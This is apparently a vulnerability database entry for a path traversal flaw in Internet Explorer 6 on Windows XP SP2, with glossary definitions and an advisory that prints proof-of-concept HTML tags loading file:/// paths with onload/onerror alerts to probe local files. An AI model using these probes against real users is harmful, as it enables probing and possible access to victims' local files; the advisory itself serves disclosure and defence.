CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Multiple absolute path traversal vulnerabilities in Microsoft Internet Explorer 6 on Windows XP SP2 allow remote attackers to access arbitrary local files via the file: URI in the (1) src attribute of a (a) bgsound, (b) input, (c) EMBED, (d) img, or (e) script tag; (2) data attribute of an object tag; (3) value attribute of a param tag; (4) background attribute of a body tag; or (5) the background:url attribute declared in the BODY parameter of a STYLE tag.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Internet Explorer is reportedly prone to multiple local file-access weaknesses because the application fails to properly handle HTML tags.
These issues are triggered when an attacker entices a victim user to visit a malicious website.
Initial reports stated that remote attackers may exploit these issues to gain access to local system files via Internet Explorer. This would help attackers steal confidential information and launch further attacks. This attack would occur in the context of the user visiting the malicious site.
New conflicting reports indicate that these issues result only in verifying the presence of files on a vulnerable system.
These issues affect Internet Explorer 6 on a fully patched Windows XP SP2 system; previous versions and operating systems may also be vulnerable.
The following proof-of-concept HTML code is available:
- Embed Tag Local file Access:
<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>
- Object & Param Tag Local File Access:
<object type="audio/x-mid" data="file:///C:/example.mid" width="200"
height="20">
<param name="src" value="file:///C:/example.mid">
<param name="autoStart" value="true">
<param name="autoStart" value="0">
</object>
- Body Tag Local File Access:
<body background="file:///C:/example.gif" onload="alert('loading body
bgrd success')" onerror="alert('loading body bgrd error')">
- Style Tag Local File Access:
<STYLE type="text/css">BODY{background:url("file:///C:/example.gif")}
</STYLE>
- Bgsound Tag Local File Access:
<bgsound src="file:///C:/example.mid" id="soundeffect" loop=1 autostart=
"true"/>
- Input Tag Local File Access:
<form>
<input type="image" src="file:///C:/example.gif" onload="alert('loading
input success')" onerror="alert('loading input error')">
</form>
- Image Tag Local File Access:
<img src="file:///C:/example.jpg" onload="alert('loading image success')"
onerror="alert('loading image error')">
- Script Tag Local File Access:
<script src="file:///C:/example.js"></script>
